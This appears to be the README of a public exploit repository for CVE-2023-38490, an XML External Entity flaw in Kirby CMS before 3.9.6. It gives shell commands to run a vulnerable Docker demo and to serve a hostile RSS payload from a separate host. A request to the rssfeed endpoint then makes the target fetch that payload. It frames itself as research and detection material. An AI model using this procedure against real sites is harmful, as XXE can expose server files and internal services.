acceis/exploit-cve-2023-38490Kirby < 3.9.6 XML External Entity exploit
Kirby < 3.9.6 XML External Entity
Exploit for CVE-2023-38490 / GHSA-q386-w6fg-gmgp.
Build and run the vulnerable demo app:
cd docker
docker buildx build -t kirby-starterkit-3.9.5 .
docker run -d --rm -p 127.0.0.2:1337:80/tcp --name CVE-2023-38490 kirby-starterkit-3.9.5:latest
Serve the demo payload:
Note: choose a bind address that the docker container can access.
popd
ruby -run -e httpd ./payload -p 9999 -b 192.168.0.225
Trigger the exploit:
xdg-open http://127.0.0.2:1337/rssfeed?feed=http://192.168.0.225:9999/xxe.rss
The vulnerable function is present in Kirby Core but is not used by default in Kirby Core, Kirby StarterKit, or Kirby PlainKit. It means the vulnerability won't affect you on default configuration but could be introduced with custom development or by installing a plugin using the impacted toolkit.
ACCEIS does not promote or encourage any illegal activity, all content provided by this repository is meant for research, educational, and threat detection purpose only.